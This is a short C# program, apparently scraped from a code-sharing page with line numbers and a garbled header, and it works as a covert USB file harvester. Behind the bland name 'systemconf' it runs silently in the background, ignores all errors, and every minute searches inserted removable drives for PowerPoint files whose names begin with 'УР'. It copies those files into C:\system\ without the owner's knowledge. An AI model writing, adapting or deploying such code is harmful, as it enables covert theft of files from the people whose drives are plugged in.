using System using System Collections Generic using System IO using Sy

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
using System;
using System.Collections.Generic;
using System.IO;
using System.Text;
using System.Timers;
namespace systemconf
{
class Program
{
static void Main(string[] args)
{
try
{
var th = new System.Threading.Thread(() =>
{
var timer = new Timer();
timer.AutoReset = true;
timer.Interval = 10000 * 6;
timer.Elapsed += timer_Elapsed;
timer.Enabled = true;
});
th.IsBackground = true;
th.Start();
}
catch
{
}
while (true) { };
}
static bool isRunning = false;
static void timer_Elapsed(object sender, ElapsedEventArgs e)
{
try
{
if (!isRunning)
{
isRunning = true;
Run();
isRunning = false;
}
}
catch { }
}
public static List<DriveInfo> GetAllRemovableDrives()
{
var drivers = DriveInfo.GetDrives();
var usbDrives = new List<DriveInfo>();
foreach (var drive in drivers)
{
if ((drive.IsReady) && (drive.DriveType == DriveType.Removable))
{
usbDrives.Add(drive);
}
}
return usbDrives;
}
public static List<string> GetPPTFiles(string path){
var results = new List<string>();
string[] files = Directory.GetFiles(path, "*.pp*", SearchOption.AllDirectories);
foreach (string fileName in files)
{
var shortfileName = Path.GetFileNameWithoutExtension(fileName);
if (shortfileName.StartsWith("УР"))
{
results.Add(fileName);
}
}
return results;
}
const string OurDirectoryName = @"C:\system\";
public static void Run()
{
if (!Directory.Exists(OurDirectoryName))
{
Directory.CreateDirectory(OurDirectoryName);
}
List<DriveInfo> drives = GetAllRemovableDrives();
foreach (DriveInfo drive in drives)
{
List<string> targetFiles = GetPPTFiles(drive.RootDirectory.ToString());
foreach (string targetFile in targetFiles)
{
try
{
string newFileName = OurDirectoryName + Path.GetFileName(targetFile);
File.Copy(targetFile, newFileName);
}
catch { }
}
}
}
}
}